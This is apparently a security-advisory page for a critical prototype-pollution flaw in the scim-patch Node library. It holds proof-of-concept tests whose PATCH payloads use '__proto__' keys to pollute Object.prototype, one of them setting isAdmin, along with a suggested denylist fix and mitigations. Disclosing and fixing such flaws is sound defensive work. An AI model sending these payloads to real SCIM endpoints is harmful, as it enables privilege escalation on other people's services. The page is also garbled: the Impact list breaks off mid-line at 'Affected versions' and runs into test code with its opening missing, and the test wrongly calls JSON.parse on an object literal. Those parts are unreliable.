VulnWatch VulnWatch
← Back to dashboard
Critical github · GHSA-9m6g-wc8r-q59c

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Published Jun 22, 2026 CVSS 9.1

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution (CWE-1321)

  • Affected versions: ` { let scimUser: ScimUser;

    beforeEach(() => { scimUser = JSON.parse({ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "tea_4", "userName": "spiderman", "name": { "familyName": "Parker", "givenName": "Peter" }, "active": true, "emails": [{ "value": "[email protected]", "primary": true }], "roles": [], "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" } }); });

    afterEach(() => { delete (Object.prototype as any).polluted; delete (Object.prototype as any).isAdmin; });

    it('pollutes Object.prototype via a value-key containing proto', () => { expect(({} as any).polluted).to.equal(undefined);

      scimPatch(scimUser, [{
          op: 'add',
          path: 'name',
          value: { '__proto__.polluted': 'yes' }
      }]);
    
      expect((Object.prototype as any).polluted).to.equal('yes');
      expect(({} as any).polluted).to.equal('yes');
    

    });

    it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => { expect(({} as any).isAdmin).to.equal(undefined);

      scimPatch(scimUser, [{
          op: 'add',
          path: 'name',
          value: { '__proto__.isAdmin': true }
      }]);
    
      expect((Object.prototype as any).isAdmin).to.equal(true);
      expect(({} as any).isAdmin).to.equal(true);
    

    }); });


## Suggested fix

Reject the three dangerous keys in `assign()` before the walk. Minimal patch:

```ts
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

Affected AI Products

claude
Get the weekly digest. Every Monday: top AI security stories of the week. Free.